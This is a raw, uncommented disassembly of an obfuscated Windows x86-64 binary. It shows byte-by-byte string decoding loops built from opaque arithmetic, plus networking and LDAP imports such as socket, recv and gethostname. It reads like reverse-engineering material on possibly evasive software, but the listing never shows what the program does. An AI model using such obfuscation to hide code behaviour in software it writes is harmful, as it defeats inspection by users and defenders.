add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7e
jmp 0x1401210c7
movabs rdx, 0x31bc64311980951a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r9b
mov byte [rbp + r10 + 0x730], cl
add r11, r15
jmp 0x140121111
movabs rdx, 0xc8f30bbaf92f9e22
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
sub r10, r15
jmp 0x1401211f9
mov r9, r8
movabs rdx, 0xf7605aceb88db032
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x730], al
add r11, r15
add rax, r11
sub r10, rax
jmp 0x140121194
movabs rdx, 0x42fbae93a86534b6
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
mov r9b, r8b
add bl, dl
movabs rcx, 0xd3c5475688a0c28
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x18
add r9b, cl
mov byte [rbp + r10 + 0x730], r9b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x1401211ea
movabs rdx, 0x8e970258983cb93a
add rdx, r10
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movzx eax, byte [rbp + r10 + 0x730]
add rax, r11
add r10, rax
add r10, r15
jmp 0x14012063a
movabs rdx, 0x5c26bd57b28413b6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140120637
movabs rdx, 0xa7c2111ca25b983a
add rdx, r10
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140120627
lea rdx, [rbp + 0x15982d8]
jmp 0x140121266
lea rdx, [rbp + 0x16dc096]
jmp 0x140121266
lea rdx, [rbp + 0x730]
lea rcx, [rbp + 0x400]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x19f0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14012129b
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x19f0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x19f0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x19f0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x8f0], 0xe3
mov byte [rbp + 0x8f1], 0xad
mov byte [rbp + 0x8f2], 0xec
mov byte [rbp + 0x8f3], 0xab
mov byte [rbp + 0x8f4], recv
mov byte [rbp + 0x8f5], 0xa9
mov byte [rbp + 0x8f6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x8f7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x8f8], 0x3d
mov byte [rbp + 0x8f9], __WSAFDIsSet
mov byte [rbp + 0x8fa], 0
mov byte [rbp + 0x8fb], __WSAFDIsSet
mov byte [rbp + 0x8fc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x8fd], __WSAFDIsSet
mov byte [rbp + 0x8fe], reloc.WS2_32.dll_listen
mov byte [rbp + 0x8ff], 0x9f
mov byte [rbp + 0x900], 7
mov byte [rbp + 0x901], 0x9d
mov byte [rbp + 0x902], 5
mov byte [rbp + 0x903], 0x9b
mov byte [rbp + 0x904], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x905], 0x99
mov byte [rbp + 0x906], Ordinal_46
mov byte [rbp + 0x907], 0x87
mov byte [rbp + 0x908], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x909], 0x85
mov byte [rbp + 0x90a], Ordinal_217
mov byte [rbp + 0x90b], 0x83
mov byte [rbp + 0x90c], 0x3d
mov byte [rbp + 0x90d], 0x81
mov byte [rbp + 0x90e], Ordinal_50
mov byte [rbp + 0x90f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x910], Ordinal_46
mov byte [rbp + 0x911], Ordinal_143
mov byte [rbp + 0x912], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x913], Ordinal_143
mov byte [rbp + 0x914], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x915], Ordinal_143
mov byte [rbp + 0x916], 0x64
mov byte [rbp + 0x917], 0xf7
mov byte [rbp + 0x918], 0x5c
mov byte [rbp + 0x919], 0xf5
mov byte [rbp + 0x91a], 0x62
mov byte [rbp + 0x91b], 0xf3
mov byte [rbp + 0x91c], 0xaa
mov byte [rbp + 0x91d], 0xf1
mov byte [rbp + 0x91e], 0xa2
mov byte [rbp + 0x91f], 0xff
mov byte [rbp + 0x920], 0xae
mov byte [rbp + 0x921], 0xfd
mov byte [rbp + 0x922], 0x57
mov byte [rbp + 0x923], 0xfb
mov byte [rbp + 0x924], 0x60
mov byte [rbp + 0x925], 0xf9
mov byte [rbp + 0x926], Ordinal_79
mov byte [rbp + 0x927], 0xe7
mov byte [rbp + 0x928], 0xb6
mov byte [rbp + 0x929], 0xe5
mov byte [rbp + 0x92a], 0x77
mov byte [rbp + 0x92b], 0xe3
mov byte [rbp + 0x92c], 0x7d
mov byte [rbp + 0x92d], 0xe1
mov byte [rbp + 0x92e], 0x47
mov byte [rbp + 0x92f], 0xef
mov byte [rbp + 0x930], 0xec
mov byte [rbp + 0x931], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x932], xmm0
mov qword [rbp + 0x942], rax
mov byte [rbp + 0x94a], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r11, qword [rax]
xor r10d, r10d
cmp r10, 0x5b
jae 0x140122059
movzx r9d, byte [rbp + r10 + 0x8f0]
mov r8, r9
cmp rdi, r10
ja 0x140122050
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140121522
movabs rsi, 0xfa317cbfea226b1a
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x4a
jmp 0x140121566
je 0x140121fca
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140121f3f
lea rax, [r11 + 4]
cmp rdi, rax
je 0x140121f09
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140121ebf
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140121e96
movabs rsi, 0xfa317cbfea226b1a
cmp r11, r10
ja 0x140122047
lea rax, [r11 + 0x7a]
cmp rdi, rax
jae 0x14012158c
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x140121773
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140121e52
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140121e33
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140121e10
lea rax, [r11 + 7]
cmp rdi, rax
je 0x140121ded
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x140121afa
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x140121ad7
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x140121ac3
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x140121aa0
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x140121a7f
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140121a6b
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140121a49
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140121a23
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140121a01
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x1401219ed
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x1401215cd
lea rdi, [r11 + 0x61]
lea r11, [rdi + 0x1000]
lea rax, [r11 + 0x400]
cmp rdi, rax
jb 0x140122025
lea rax, [r11 + 0x200]
cmp rdi, rax
jb 0x140121fff
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x1401217ad
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x14012178a
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x140121764
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x140121992
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x140121937
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x1401218e9
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x64]
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x1401218c7
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x1401218a5
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x140121881
lea rax, [r11 + 9]
cmp rdi, rax
ja 0x14012185f
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x14012184b
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x140121829
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x140121817
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x1401217f4
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x1401217d3
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x1401215cd
lea rdi, [r11 + 0x1000]
lea r11, [rdi + 0x400]
jmp 0x1401215cd
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401215c0
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x140121566
movabs rdx, 0xf018c93478267ab6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401214ea
movabs rdx, 0x3079ddf1a6964910
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x70
jmp 0x140121e6e
movabs rcx, 0x3c16e471d25172dc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 4
jmp 0x140121eb4
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, r12d
jmp 0x140121c37
movabs rcx, 0x5350f17229c7c674
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x140121edd
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140121f18
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x140121f2d
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x140121f61
movabs rcx, 0x81c50b72d8b46da4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x140121f93
movabs rcx, 0x8d6211f3046f9770
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x140121fe8
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x16
cmp r11, 0x41
jb 0x140121d8e
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x140121e70
movabs rdx, 0xc1a4af33c939d386
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp rdi, 3
jae 0x140121d9b
lea rcx, [r11 + 2]
cmp rdi, rcx
jbe 0x140121cd4
movabs rdx, 0x23d9f578ff064e54
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4c
add bl, dl
jmp 0x140121906
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3e
lea rax, [r11 + rdi]
cmp rax, 0x5a
je 0x140121dc4
lea rax, [r11 + 0x41]
cmp rdi, rax
jbe 0x140121bf2
movabs rdx, 0x9dcab9baca338532
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x140121958
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x140121b36
movabs rcx, 0x2ff86cf568abe098
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x140121f93
movabs rdx, 0x3b95737594670a64
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140121f63
movabs rcx, 0x473279f5c0223430
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x50
jmp 0x140121f2d
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140121f18
movabs rdx, 0x5e6c86f6179887c8
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x78
jmp 0x140121edb
movabs rcx, 0x6a098d764353b194
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0xc
jmp 0x140121eb7
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x140121bdb
movabs rdx, 0x81439a769aca052c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, dl
sub bl, r12b
jmp 0x140121e70
lea rcx, [r11 + 2]
cmp rdi, rcx
jae 0x140121b1e
lea rdx, [r10 + rsi]
mov al, r9b
and al, dl
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401219af
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140121b4d
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140121fe8
cmp rdi, rcx
jne 0x140121b66
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
jmp 0x140121890
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140121b93
movabs rdx, 0xd20d56fb8efdc148
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x140121edb
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140121bbf
movabs rcx, 0xc670507b6342977c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x64
jmp 0x140121eb7
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401219af
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140121eb4
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140121c1f
movabs rdx, 0x922db33a9e785b66
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x140121e6e
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140121c4e
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140121eb7
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140121c7a
movabs rcx, 0x63b99939ef8bb436
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x7a
jmp 0x140121f2a
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140121ca4
movabs rdx, 0x4c7f8c399815609e
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x52
jmp 0x140121f61
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140121958
movabs rcx, 0x35457f39409f0d06
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x2a
jmp 0x140121fe8
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140121cf1
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x140121b36
cmp rdi, rcx
jne 0x140121d17
movabs rdx, 0xc9fe878a78ffabc
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x24
jmp 0x140121e09
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140121d43
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x140121f2a
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140121d60
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x140121bdb
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x140121906
movabs rdx, 0xbb54baf77571d628
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x18
jmp 0x140121e6e
mov byte [rbp + r10 + 0x8f0], bl
jmp 0x140121ff7
movabs rdx, 0xa41aadf71dfb8290
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0x8f0]
jmp 0x140121b8b
movabs rdx, 0x987da776f24058c4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, byte [rbp + r10 + 0x8f0]
sub bl, 0x5c
jmp 0x140121f61
movabs rdx, 0x292707bcd6f97ac2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x140121f93
movabs rcx, 0x406114bd2e6fce5a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x76
jmp 0x140121f2d
movabs rcx, 0x6338283db1a14bbe
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x32
jmp 0x140121eb7
movabs rdx, 0x7a72353e09179f56
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r9b
mov byte [rbp + r10 + 0x8f0], cl
jmp 0x140121eb4
movabs rcx, 0x9d4948be8c491cba
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x16
add r11, r15
sub r10, r15
jmp 0x140121ff7
movabs rdx, 0xb48355bee3bf7052
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
add cl, bl
mov byte [rbp + r10 + 0x8f0], cl
jmp 0x140121f2a
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140121ff7
mov r9, r8
movabs rdx, 0xd75a693f66f0edb6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0x92af2436dc62c3de
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x12
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x8f0], al
add r11, r15
add rax, r11
sub r10, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x8f0], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x140121fe8
movabs rcx, 0xee94763fbe67414e
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
movzx eax, byte [rbp + r10 + 0x8f0]
add rax, r11
add r10, rax
add r10, r15
jmp 0x1401214d7
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401214d4
movabs rcx, 0x752d634cf9cce4e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x22
jmp 0x1401214c4
lea rdx, [rbp + 0x15ffe68]
jmp 0x140122060
lea rdx, [rbp + 0x1026982]
jmp 0x140122060
lea rdx, [rbp + 0x8f0]
lea rcx, [rbp + 0x420]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1b00]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140122095
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1b00]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1b00]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1b00]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x560], Ordinal_60
mov byte [rbp + 0x561], Ordinal_143
mov byte [rbp + 0x562], 0x61
mov byte [rbp + 0x563], 0xf3
mov byte [rbp + 0x564], 0x5a
mov byte [rbp + 0x565], 0xf1
mov byte [rbp + 0x566], 0x62
mov byte [rbp + 0x567], 0xf7
mov byte [rbp + 0x568], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x569], 0xf5
mov byte [rbp + 0x56a], 0x5b
mov byte [rbp + 0x56b], 0xfb
mov byte [rbp + 0x56c], WSACleanup
mov byte [rbp + 0x56d], 0xf9
mov byte [rbp + 0x56e], 0x5b
mov byte [rbp + 0x56f], 0xff
mov byte [rbp + 0x570], 0x40
mov byte [rbp + 0x571], 0xfd
mov byte [rbp + 0x572], 0x59
mov byte [rbp + 0x573], 0xe3
mov byte [rbp + 0x574], Ordinal_79
mov byte [rbp + 0x575], 0xe1
mov byte [rbp + 0x576], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x577], 0xe7
mov byte [rbp + 0x578], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x579], 0xe5
mov byte [rbp + 0x57a], 0x7f
mov byte [rbp + 0x57b], 0xeb
mov byte [rbp + 0x57c], 0x7a
mov byte [rbp + 0x57d], 0xe9
mov byte [rbp + 0x57e], Ordinal_79
mov byte [rbp + 0x57f], 0xef
mov byte [rbp + 0x580], 0x7a
mov byte [rbp + 0x581], 0xed
mov byte [rbp + 0x582], 0x88
mov byte [rbp + 0x583], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x584], 0x84
mov byte [rbp + 0x585], Ordinal_211
mov byte [rbp + 0x586], Ordinal_217
mov byte [rbp + 0x587], Ordinal_217
xor eax, eax
mov qword [rbp + 0x588], rax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x30
jae 0x140122d7b
movzx r8d, byte [rbp + r9 + 0x560]
mov rdx, r8
cmp rdi, r9
ja 0x140122d72
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140122256
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x14012229a
je 0x140122cf1
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140122c69
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140122c3c
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140122bf1
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140122ba0
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x140122d69
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x1401222c0
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x1401224d5
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140122b8e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140122b6b
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140122b45
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140122b1f
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140122b01
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401227f0
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401227cf
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401227a9
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140122786
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140122772
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14012274f
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14012272c
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140122718
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401226f5
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x1401226e1
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14012230e
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x140122d46
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140122d23
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14012250f
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x1401224ec
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401224c6
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401226c0
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14012269f
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14012267b
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140122650
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14012230e
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14012263c
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14012261b
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401225fa
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401225e6
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x1401225c3
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14012259f
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14012257c
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140122559
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x140122535
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14012230e
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x14012230e
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140122301
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x14012229a
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14012221e
